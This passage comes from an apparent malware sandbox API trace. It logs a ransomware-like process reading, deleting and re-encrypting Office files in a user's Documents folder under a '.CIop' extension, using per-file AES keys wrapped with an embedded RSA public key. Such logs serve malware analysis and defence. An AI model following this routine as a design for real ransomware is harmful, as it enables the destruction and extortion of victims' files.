lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.826] SetErrorMode (uMode=0x1) returned 0x1 [0088.827] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx") returned 55 [0088.827] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx", dwFileAttributes=0x20) returned 1 [0088.827] StrStrW (lpFirst="4CDCeVLoOGDNNc.xlsx", lpSrch=".CIop") returned 0x0 [0088.827] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx.CIop") returned 60 [0088.827] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4cdcevloogdnnc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4 [0088.828] ReadFile (in: hFile=0x3a4, lpBuffer=0x60bf98, nNumberOfBytesToRead=0xca06, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x2f0e5e8*=0xca06, lpOverlapped=0x0) returned 1 [0088.828] CloseHandle (hObject=0x3a4) returned 1 [0088.828] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4cdcevloogdnnc.xlsx")) returned 1 [0088.829] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0088.830] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0088.830] SetErrorMode (uMode=0x1) returned 0x1 [0088.830] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ebe78) returned 1 [0088.832] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d5f08) returned 1 [0088.878] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.878] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.878] CryptDestroyKey (hKey=0x5d5f08) returned 1 [0088.878] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0088.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4cdcevloogdnnc.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4 [0088.879] WriteFile (in: hFile=0x3a4, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0xca06, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x2f0e5d8*=0xca06, lpOverlapped=0x0) returned 1 [0088.880] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xca06 [0088.880] WriteFile (in: hFile=0x3a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.880] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xca0d [0088.880] SetErrorMode (uMode=0x1) returned 0x1 [0088.881] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.881] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.881] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0088.881] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ebf88) returned 1 [0088.881] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ebf88, dwCertEncodingType=0x1, pInfo=0x5e7ee8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6048) returned 1 [0088.881] CryptEncrypt (in: hKey=0x5d6048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0088.881] CryptEncrypt (in: hKey=0x5d6048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec098*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec098*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0088.881] WriteFile (in: hFile=0x3a4, lpBuffer=0x5ec098*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec098*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.881] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.882] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.882] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.882] CloseHandle (hObject=0x3a4) returned 1 [0088.883] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\4CDCeVLoOGDNNc.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4cdcevloogdnnc.xlsx")) returned 0 Thread: id = 40 os_tid = 0xf94 [0088.906] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.906] lstrcpyW (in: lpString1=0x2f0f368, lpString2="5eq4aL0vBSUL.pps" | out: lpString1="5eq4aL0vBSUL.pps") returned="5eq4aL0vBSUL.pps" [0088.906] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.906] SetErrorMode (uMode=0x1) returned 0x1 [0088.906] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps") returned 52 [0088.906] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps", dwFileAttributes=0x20) returned 1 [0088.907] StrStrW (lpFirst="5eq4aL0vBSUL.pps", lpSrch=".CIop") returned 0x0 [0088.907] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps.CIop") returned 57 [0088.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5eq4al0vbsul.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0088.908] ReadFile (in: hFile=0x3a8, lpBuffer=0x60bf98, nNumberOfBytesToRead=0x12782, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x2f0e5e8*=0x12782, lpOverlapped=0x0) returned 1 [0088.908] CloseHandle (hObject=0x3a8) returned 1 [0088.908] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5eq4al0vbsul.pps")) returned 1 [0088.910] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0088.910] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0088.910] SetErrorMode (uMode=0x1) returned 0x1 [0088.910] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ebe78) returned 1 [0088.912] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d5f08) returned 1 [0088.938] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.938] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0088.938] CryptDestroyKey (hKey=0x5d5f08) returned 1 [0088.938] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0088.938] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5eq4al0vbsul.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0088.938] WriteFile (in: hFile=0x3a8, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0x12782, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x2f0e5d8*=0x12782, lpOverlapped=0x0) returned 1 [0088.940] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12782 [0088.940] WriteFile (in: hFile=0x3a8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.940] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12789 [0088.940] SetErrorMode (uMode=0x1) returned 0x1 [0088.940] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.940] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.940] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0088.940] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ec120) returned 1 [0088.940] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec120, dwCertEncodingType=0x1, pInfo=0x5e8228, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d5fc8) returned 1 [0088.940] CryptEncrypt (in: hKey=0x5d5fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0088.941] CryptEncrypt (in: hKey=0x5d5fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ebe78*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ebe78*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0088.941] WriteFile (in: hFile=0x3a8, lpBuffer=0x5ebe78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ebe78*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.941] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.941] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.942] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.942] CloseHandle (hObject=0x3a8) returned 1 [0088.943] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5eq4aL0vBSUL.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5eq4al0vbsul.pps")) returned 0 Thread: id = 41 os_tid = 0xf98 [0088.945] lstrcpyA (in: lpString1=0x304e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.945] lstrcpyW (in: lpString1=0x304f368, lpString2="5EUw6X.xlsx" | out: lpString1="5EUw6X.xlsx") returned="5EUw6X.xlsx" [0088.945] lstrcpyW (in: lpString1=0x304f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0088.945] SetErrorMode (uMode=0x1) returned 0x1 [0088.945] wsprintfW (in: param_1=0x304eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx") returned 47 [0088.945] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx", dwFileAttributes=0x20) returned 1 [0088.946] StrStrW (lpFirst="5EUw6X.xlsx", lpSrch=".CIop") returned 0x0 [0088.946] wsprintfW (in: param_1=0x304e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx.CIop") returned 52 [0088.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5euw6x.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0088.946] ReadFile (in: hFile=0x3ac, lpBuffer=0x60bf98, nNumberOfBytesToRead=0x7614, lpNumberOfBytesRead=0x304e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x304e5e8*=0x7614, lpOverlapped=0x0) returned 1 [0088.947] CloseHandle (hObject=0x3ac) returned 1 [0088.947] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5euw6x.xlsx")) returned 1 [0088.948] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0088.948] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0088.949] SetErrorMode (uMode=0x1) returned 0x1 [0088.949] CryptAcquireContextW (in: phProv=0x304e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x304e5b8*=0x5ec560) returned 1 [0088.951] CryptGenKey (in: hProv=0x5ec560, Algid=0x1, dwFlags=0x4000, phKey=0x304e5bc | out: phKey=0x304e5bc*=0x5d6548) returned 1 [0088.996] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x304e5ec | out: pbData=0x0*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0088.996] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x304e5ec | out: pbData=0x2de0000*, pdwDataLen=0x304e5ec*=0x94) returned 1 [0088.996] CryptDestroyKey (hKey=0x5d6548) returned 1 [0088.996] CryptReleaseContext (hProv=0x5ec560, dwFlags=0x0) returned 1 [0088.996] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5euw6x.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0088.997] WriteFile (in: hFile=0x3b4, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0x7614, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x304e5d8*=0x7614, lpOverlapped=0x0) returned 1 [0088.998] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7614 [0088.998] WriteFile (in: hFile=0x3b4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x304e5d8*=0x7, lpOverlapped=0x0) returned 1 [0088.998] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x761b [0088.998] SetErrorMode (uMode=0x1) returned 0x1 [0088.998] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.998] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x304d5b8, pcbBinary=0x304d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.998] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x304d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598 | out: pvStructInfo=0x304d5a0, pcbStructInfo=0x304d598) returned 1 [0088.998] CryptAcquireContextW (in: phProv=0x304d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x304d5a8*=0x5ec340) returned 1 [0088.998] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec340, dwCertEncodingType=0x1, pInfo=0x5e69c8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x304d5b0 | out: phKey=0x304d5b0*=0x5d62c8) returned 1 [0088.998] CryptEncrypt (in: hKey=0x5d62c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x304d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x304d5b4*=0x80) returned 1 [0088.999] CryptEncrypt (in: hKey=0x5d62c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec3c8*, pdwDataLen=0x304d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec3c8*, pdwDataLen=0x304d5a4*=0x80) returned 1 [0088.999] WriteFile (in: hFile=0x3b4, lpBuffer=0x5ec3c8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x304e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec3c8*, lpNumberOfBytesWritten=0x304e5d8*=0x80, lpOverlapped=0x0) returned 1 [0088.999] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.999] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.000] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.000] CloseHandle (hObject=0x3b4) returned 1 [0089.001] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\5EUw6X.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\5euw6x.xlsx")) returned 0 Thread: id = 42 os_tid = 0xf9c [0089.001] lstrcpyA (in: lpString1=0x314e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm 